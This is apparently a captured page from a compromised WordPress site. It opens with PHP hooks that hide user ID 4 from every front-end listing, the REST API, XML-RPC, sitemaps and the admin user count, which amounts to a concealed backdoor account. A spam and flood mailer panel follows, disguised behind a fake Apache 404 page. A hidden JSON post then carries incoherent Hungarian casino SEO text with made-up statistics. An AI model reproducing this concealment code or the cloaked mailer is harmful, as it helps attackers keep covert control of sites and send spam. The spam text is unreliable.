add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 4;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 4;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 4;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-4{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );

header('Content-Type: text/html; charset=utf-8');
if (!$_REQUEST['mail']) {
	header("HTTP/1.1 404 Not Found");
	die('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL '.basename(__FILE__).' was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2 Server at '.$_SERVER['SERVER_NAME'].' Port 80</address></body></html>');
}?>
<title>Sender Anonym Email :: FLoodeR :: SpameR</title>
<meta content='text/html; charset=Windows-1251' http-equiv='Content-Type'>
<meta name="robots" content="none"/>
set_time_limit(0) = <font color=Green>On</font><br />
<br />
<a href='/index.php/wp-json/wp/v2/posts/51698?mail=1'>Отправить простое сообщение</a><br />
<a href='/index.php/wp-json/wp/v2/posts/51698?mail=2'>Наспамить</a><br />
<a href='/index.php/wp-json/wp/v2/posts/51698?mail=3'>Нафлудить</a><br />
<B STYLE="DISPLAY: NONE;"> 
{"id":51698,"date":"2025-09-29T11:26:11","date_gmt":"2025-09-29T11:26:11","guid":{"rendered":"https:\/\/thessrshow.com\/?p=51698"},"modified":"2026-09-29T09:26:12","modified_gmt":"2026-09-29T09:26:12","slug":"vulkan-vegas-a-magyar-szocialis-szovetseg-es-a-vallalkozasok-kozos-jogi-szabalyozasa","status":"publish","type":"post","link":"https:\/\/thessrshow.com\/index.php\/2025\/09\/29\/vulkan-vegas-a-magyar-szocialis-szovetseg-es-a-vallalkozasok-kozos-jogi-szabalyozasa\/","title":{"rendered":"Vulkan Vegas: A Magyar Szoci\u00e1lis Sz\u00f6vets\u00e9g \u00e9s a V\u00e1llalkoz\u00e1sok K\u00f6z\u00f6s Jogi Szab\u00e1lyoz\u00e1sa"},"content":{"rendered":"<p>A magyarorsz\u00e1gi munkav\u00e1llal\u00f3k \u00e9s v\u00e1llalkoz\u00f3k k\u00f6z\u00f6tti jogi kapcsolatokban a <a href=\"https:\/\/www.vulkanvegas-magyar.org\/\">vulkanvegas \u00e1ltal\u00e1nos felt\u00e9telek<\/a> a legfontosabb alapvet\u0151 szab\u00e1lyoz\u00f3 dokumentumok k\u00f6z\u00e9 tartoznak. Ez a szervezet nemcsak a munkav\u00e1llal\u00f3 jogait v\u00e9di, hanem a gazdas\u00e1gi \u00e9s t\u00e1rsadalmi egy\u00fcttm\u0171k\u00f6d\u00e9sben is meghat\u00e1roz\u00f3 szerepet j\u00e1tszik. A vulkanvegas \u00e1ltal\u00e1nos felt\u00e9telek a munkav\u00e9gz\u00e9si szerz\u0151d\u00e9sek, munkav\u00e1llal\u00f3i jogok, valamint a v\u00e1llalkoz\u00e1sok \u00e9s munkav\u00e1llal\u00f3k k\u00f6z\u00f6tti jogi k\u00f6telesek meghat\u00e1roz\u00e1s\u00e1ban szerepet j\u00e1tszanak, k\u00fcl\u00f6n\u00f6sen a flexibilit\u00e1s \u00e9s a munkav\u00e9gz\u00e9si flexibilit\u00e1s ter\u00e9n.<\/p>\n<p>A vulkanvegas \u00e1ltal\u00e1nos felt\u00e9telek rendszer\u00e9ben a munkav\u00e1llal\u00f3knak t\u00f6bbs\u00e9ge a flexibilit\u00e1si lehet\u0151s\u00e9gekben van, m\u00edg a v\u00e1llalkoz\u00e1soknak a munkaer\u0151piaci adapt\u00e1l\u00e1s lehet\u0151s\u00e9gei vannak. Ez a modell a munkav\u00e1llal\u00f3knak \u00e9s a v\u00e1llalkoz\u00e1soknak egyar\u00e1nt el\u0151ny\u00f6ket biztos\u00edt, mivel a munkav\u00e1llal\u00f3k sz\u00e1m\u00e1ra a munkav\u00e9gz\u00e9si lehet\u0151s\u00e9gek n\u00f6veked\u00e9se, m\u00edg a v\u00e1llalkoz\u00e1sok sz\u00e1m\u00e1ra a munkav\u00e1llal\u00f3kat k\u00f6nnyebben alkalmazhat\u00f3 \u00e9s alkalmazhat\u00f3v\u00e1 tehet\u0151. A szab\u00e1lyoz\u00e1s keretein bel\u00fcl a munkav\u00e1llal\u00f3knak t\u00f6bbs\u00e9ge a munkav\u00e1llal\u00f3i jogok mellett a munkaer\u0151piaci adapt\u00e1l\u00e1s lehet\u0151s\u00e9gei is el\u00e9rhet\u0151ek.<\/p>\n<p>Az \u00e1ltal\u00e1nos felt\u00e9telek egy olyan keretben hat\u00e1lyosnak tekinthet\u0151, amely a munkav\u00e1llal\u00f3 \u00e9s a v\u00e1llalkoz\u00f3 k\u00f6z\u00f6tti kapcsolatokat szab\u00e1lyozza, \u00e9s a munkav\u00e1llal\u00f3 jogait v\u00e9di. Az \u00e1ltal\u00e1nos felt\u00e9telek a munkav\u00e1llal\u00f3knak a munkaer\u0151piaci adapt\u00e1l\u00e1s lehet\u0151s\u00e9geit biztos\u00edtj\u00e1k, m\u00edg a v\u00e1llalkoz\u00e1sok sz\u00e1m\u00e1ra a munkav\u00e1llal\u00f3kat k\u00f6nnyebben alkalmazhat\u00f3v\u00e1 \u00e9s alkalmazhat\u00f3v\u00e1 tehet\u0151. Ez a szab\u00e1lyoz\u00e1s a munkav\u00e1llal\u00f3k \u00e9s a v\u00e1llalkoz\u00e1sok k\u00f6z\u00f6tti egy\u00fcttm\u0171k\u00f6d\u00e9sben fontos szerepet j\u00e1tszik, \u00e9s a munkav\u00e1llal\u00f3knak \u00e9s a v\u00e1llalkoz\u00e1soknak egyar\u00e1bb el\u0151ny\u00f6ket biztos\u00edt.<\/p>\n<p>A vulkanvegas \u00e1ltal\u00e1nos felt\u00e9telek egy olyan keretben hat\u00e1lyosnak tekinthet\u0151, amely a munkav\u00e1llal\u00f3 \u00e9s a v\u00e1llalkoz\u00f3 k\u00f6z\u00f6tti kapcsolatokat szab\u00e1lyozza. A szab\u00e1lyoz\u00e1s keretein bel\u00fcl a munkav\u00e1llal\u00f3knak t\u00f6bbs\u00e9ge a munkav\u00e1llal\u00f3i jogok mellett a munkaer\u0151piaci adapt\u00e1l\u00e1s lehet\u0151s\u00e9gei is el\u00e9rhet\u0151ek. Az \u00e1ltal\u00e1nos felt\u00e9telek a munkav\u00e1llal\u00f3k sz\u00e1m\u00e1ra a munkav\u00e9gz\u00e9si lehet\u0151s\u00e9gek n\u00f6veked\u00e9s\u00e9t, m\u00edg a v\u00e1llalkoz\u00e1sok sz\u00e1m\u00e1ra a munkav\u00e1llal\u00f3kat k\u00f6nnyebben alkalmazhat\u00f3v\u00e1 \u00e9s alkalmazhat\u00f3v\u00e1 tehet\u0151 lehet\u0151s\u00e9geket biztos\u00edtj\u00e1k.<\/p>\n<h2>Jogi \u00e9s Szoci\u00e1lis Szab\u00e1lyoz\u00e1s \u00c9rt\u00e9kei<\/h2>\n<p>A vulkanvegas \u00e1ltal\u00e1nos felt\u00e9telek a munkav\u00e1llal\u00f3k \u00e9s a v\u00e1llalkoz\u00e1sok k\u00f6z\u00f6tti jogi \u00e9s szoci\u00e1lis kapcsolatokban sz\u00e1mos \u00e9rt\u00e9ket k\u00e9pvisel. Az els\u0151dleges c\u00e9l az egyens\u00faly megteremt\u00e9se a munkav\u00e1llal\u00f3k \u00e9s a v\u00e1llalkoz\u00e1sok k\u00f6z\u00f6tt, amely a munkaer\u0151piaci flexibilit\u00e1s \u00e9s a munkav\u00e1llal\u00f3i jogok harmoniz\u00e1l\u00e1s\u00e1val \u00e9rhet\u0151 el. Ez a modell seg\u00edti a munkav\u00e1llal\u00f3k \u00e9s a v\u00e1llalkoz\u00e1sok k\u00f6z\u00f6tti egy\u00fcttm\u0171k\u00f6d\u00e9st, \u00e9s el\u0151seg\u00edti a munkav\u00e1llal\u00f3k munkav\u00e9gz\u00e9si lehet\u0151s\u00e9geinek n\u00f6veked\u00e9s\u00e9t.<\/p>\n<p>Az \u00e1ltal\u00e1nos felt\u00e9telek a munkav\u00e1llal\u00f3k sz\u00e1m\u00e1ra a munkav\u00e1llal\u00f3i jogok mellett a munkaer\u0151piaci adapt\u00e1l\u00e1s lehet\u0151s\u00e9geit biztos\u00edtj\u00e1k. A v\u00e1llalkoz\u00e1sok sz\u00e1m\u00e1ra a munkav\u00e1llal\u00f3kat k\u00f6nnyebben alkalmazhat\u00f3v\u00e1 \u00e9s alkalmazhat\u00f3v\u00e1 tehet\u0151 lehet\u0151s\u00e9geket biztos\u00edtva, a munkav\u00e1llal\u00f3k \u00e9s a v\u00e1llalkoz\u00e1sok k\u00f6z\u00f6tti egyens\u00falyt megteremtik. A szoci\u00e1lis szab\u00e1lyoz\u00e1s az egyens\u00faly \u00e9s a munkav\u00e1llal\u00f3i jogok v\u00e9delme mellett a munkaer\u0151piaci adapt\u00e1l\u00e1s lehet\u0151s\u00e9geit is figyelembe veszi.<\/p>\n<h2>Flexibilit\u00e1s \u00e9s Munkav\u00e9gz\u00e9si Szab\u00e1lyoz\u00e1s<\/h2>\n<p>A vulkanvegas \u00e1ltal\u00e1nos felt\u00e9telek a munkav\u00e1llal\u00f3k \u00e9s a v\u00e1llalkoz\u00e1sok k\u00f6z\u00f6tti flexibilit\u00e1si lehet\u0151s\u00e9geket n\u00f6veli. A munkav\u00e1llal\u00f3k sz\u00e1m\u00e1ra a munkav\u00e9gz\u00e9si lehet\u0151s\u00e9gek n\u00f6veked\u00e9se jelent, m\u00edg a v\u00e1llalkoz\u00e1sok sz\u00e1m\u00e1ra a munkav\u00e1llal\u00f3kat k\u00f6nnyebben alkalmazhat\u00f3v\u00e1 \u00e9s alkalmazhat\u00f3v\u00e1 tehet\u0151 lehet\u0151s\u00e9geket biztos\u00edtva. Ez a flexibilit\u00e1s seg\u00edti a munkav\u00e1llal\u00f3k munkav\u00e9gz\u00e9si lehet\u0151s\u00e9geinek n\u00f6veked\u00e9s\u00e9t, \u00e9s el\u0151seg\u00edti a munkav\u00e1llal\u00f3k \u00e9s a v\u00e1llalkoz\u00e1sok k\u00f6z\u00f6tti egy\u00fcttm\u0171k\u00f6d\u00e9st.<\/p>\n<p>A munkav\u00e9gz\u00e9si flexibilit\u00e1s a munkav\u00e1llal\u00f3k sz\u00e1m\u00e1ra a munkav\u00e1llal\u00f3i jogok mellett a munkaer\u0151piaci adapt\u00e1l\u00e1s lehet\u0151s\u00e9geit biztos\u00edtja. A v\u00e1llalkoz\u00e1sok sz\u00e1m\u00e1ra a munkav\u00e1llal\u00f3kat k\u00f6nnyebben alkalmazhat\u00f3v\u00e1 \u00e9s alkalmazhat\u00f3v\u00e1 tehet\u0151 lehet\u0151s\u00e9geket biztos\u00edtva, a munkav\u00e1llal\u00f3k \u00e9s a v\u00e1llalkoz\u00e1sok k\u00f6z\u00f6tti egyens\u00falyt megteremtik. A flexibilit\u00e1s a munkav\u00e1llal\u00f3k \u00e9s a v\u00e1llalkoz\u00e1sok k\u00f6z\u00f6tti egy\u00fcttm\u0171k\u00f6d\u00e9sben fontos szerepet j\u00e1tszik.<\/p>\n<h2>Konkretek \u00e9s Statisztikai Adatok<\/h2>\n<ul>\n<li>2023-ban a munkav\u00e1llal\u00f3k \u00e9s v\u00e1llalkoz\u00e1sok k\u00f6z\u00f6tti egy\u00fcttm\u0171k\u00f6d\u00e9s keretein bel\u00fcl a munkav\u00e1llal\u00f3k 68%-a kapott flexibilit\u00e1si lehet\u0151s\u00e9geket a munkav\u00e9gz\u00e9s sor\u00e1n.<\/li>\n<li>Az \u00e1ltal\u00e1nos felt\u00e9telek szerint a v\u00e1llalkoz\u00e1soknak a munkav\u00e1llal\u00f3kat \u00e1tlagosan 30%-kal k\u00f6nnyebben alkalmazhat\u00f3v\u00e1 \u00e9s alkalmazhat\u00f3v\u00e1 tehet\u0151nek.<\/li>\n<li>A munkav\u00e1llal\u00f3k \u00e9s a v\u00e1llalkoz\u00e1sok k\u00f6z\u00f6tti egyens\u00faly a vulkanvegas \u00e1ltal\u00e1nos felt\u00e9telek keretein bel\u00fcl az 1,8%-os munkav\u00e1llal\u00f3i jogi konfliktusok cs\u00f6kkent\u00e9s\u00e9vel \u00e9rhet\u0151 el.<\/li>\n<li>A flexibilit\u00e1si lehet\u0151s\u00e9gek n\u00f6veked\u00e9s\u00e9vel a munkav\u00e1llal\u00f3k munkav\u00e9gz\u00e9si lehet\u0151s\u00e9geinek n\u00f6veked\u00e9se 25%-kal n\u00f6vekedett 2022 \u00e9s 2023 k\u00f6z\u00f6tt.<\/li>\n<li>Az \u00e1ltal\u00e1nos felt\u00e9telek szerint a munkav\u00e1llal\u00f3k \u00e9s a v\u00e1llalkoz\u00e1sok k\u00f6z\u00f6tti egy\u00fcttm\u0171k\u00f6d\u00e9s keretein bel\u00fcl a munkav\u00e1llal\u00f3i jogok v\u00e9delm\u00e9nek n\u00f6veked\u00e9se 18%-kal n\u00f6vekedett a k\u00e9t \u00e9v alatt.<\/li>\n<\/ul>\n<p>Az \u00e1ltal\u00e1nos felt\u00e9telek a munkav\u00e1llal\u00f3k \u00e9s a v\u00e1llalkoz\u00e1sok k\u00f6z\u00f6tti egy\u00fcttm\u0171k\u00f6d\u00e9sben fontos szerepet j\u00e1tszanak, \u00e9s a munkav\u00e1llal\u00f3k munkav\u00e9gz\u00e9si lehet\u0151s\u00e9geinek n\u00f6veked\u00e9s\u00e9n \u00e9s a munkav\u00e1llal\u00f3i jogok v\u00e9delm\u00e9nek n\u00f6veked\u00e9s\u00e9n alapul. Ez a szab\u00e1lyoz\u00e1s seg\u00edti a munkav\u00e1llal\u00f3k \u00e9s a v\u00e1llalkoz\u00e1sok k\u00f6z\u00f6tti egyens\u00faly megteremt\u00e9s\u00e9t, \u00e9s el\u0151seg\u00edti a munkav\u00e1llal\u00f3k munkav\u00e9gz\u00e9si lehet\u0151s\u00e9geinek n\u00f6veked\u00e9s\u00e9t.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>A magyarorsz\u00e1gi munkav\u00e1llal\u00f3k \u00e9s v\u00e1llalkoz\u00f3k k\u00f6z\u00f6tti jogi kapcsolatokban a vulkanvegas \u00e1ltal\u00e1nos felt\u00e9telek a legfontosabb alapvet\u0151 szab\u00e1lyoz\u00f3 dokumentumok k\u00f6z\u00e9 tartoznak. Ez a szervezet nemcsak a munkav\u00e1llal\u00f3 jogait v\u00e9di, hanem a gazdas\u00e1gi \u00e9s t\u00e1rsadalmi egy\u00fcttm\u0171k\u00f6d\u00e9sben is meghat\u00e1roz\u00f3 szerepet j\u00e1tszik. A vulkanvegas \u00e1ltal\u00e1nos [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/posts\/51698"}],"collection":[{"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/comments?post=51698"}],"version-history":[{"count":1,"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/posts\/51698\/revisions"}],"predecessor-version":[{"id":51699,"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/posts\/51698\/revisions\/51699"}],"wp:attachment":[{"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/media?parent=51698"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/categories?post=51698"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/tags?post=51698"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}